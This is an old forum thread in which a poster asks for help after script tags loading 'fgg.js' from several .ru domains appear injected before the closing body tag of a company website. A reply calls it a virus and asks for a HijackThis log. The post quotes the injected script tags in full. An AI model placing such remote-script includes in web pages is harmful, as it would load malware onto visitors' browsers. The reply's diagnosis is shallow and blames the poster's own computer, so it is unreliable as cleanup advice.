Urgent Solution for a JS malware got injected into website..

[cYberTiger]

Dear All,

I face a strange problem. All of sudden in our company website, the below script gets included automatically the end of the body tag. i.e, above </body> tag. Any idea of how to rectify this problem? Is this some kinda virus ? Do you know any sites that has the solution for these kinda problems?

The script is

<script src=http://www.90mc.ru/fgg.js></script><script src=http://www.rrcs.ru/fgg.js></script><script src=http://www.gb53.ru/fgg.js></script><script src=http://www.rrcs.ru/fgg.js></script><script src=http://www.rrcs.ru/fgg.js></script><script src=http://www.gb53.ru/fgg.js></script><script src=http://www.rrcs.ru/fgg.js></script><script src=http://www.rrcs.ru/fgg.js></script><script src=http://www.rrcs.ru/fgg.js></script><script src=http://www.lkc2.ru/fgg.js></script><script src=http://www.rrcs.ru/fgg.js></script><script src=http://www.rrcs.ru/fgg.js></script><script src=http://www.rrcs.ru/fgg.js></script><script src=http://www.rrcs.ru/fgg.js></script><script src=http://www.gb53.ru/fgg.js></script><script src=http://www.rrcs.ru/fgg.js></script><script src=http://www.rrcs.ru/fgg.js></script><script src=http://www.rrcs.ru/fgg.js></script><script src=http://www.rrcs.ru/fgg.js></script><script src=http://www.gb53.ru/fgg.js></script><script src=http://www.keec.ru/fgg.js></script><script src=http://www.lkc2.ru/fgg.js></script><script src=http://www.keec.ru/fgg.js></script><script src=http://www.4cnw.ru/fgg.js></script><script src=http://www.rrcs.ru/fgg.js></script><script src=http://www.bnrc.ru/fgg.js></script><script src=http://www.keje.ru/fgg.js></script><script src=http://www.90mc.ru/fgg.js></script>

[sude]

YES @CYBERTIGER
IT IS A VIRUS.......
IT IS FOR SURE..

if u have an updated antivirus and now tryin going to any of the website above
like www.rrcs.ru etc. its alarming an virus alarm.. check 4 urself..

it seems ur system is infected..

PLEASE POST HIJACKTHIS LOG in this post.. it will help us to find the fault, if any,..
get the app from www.filehippo.com/download_hijackthis

SUDE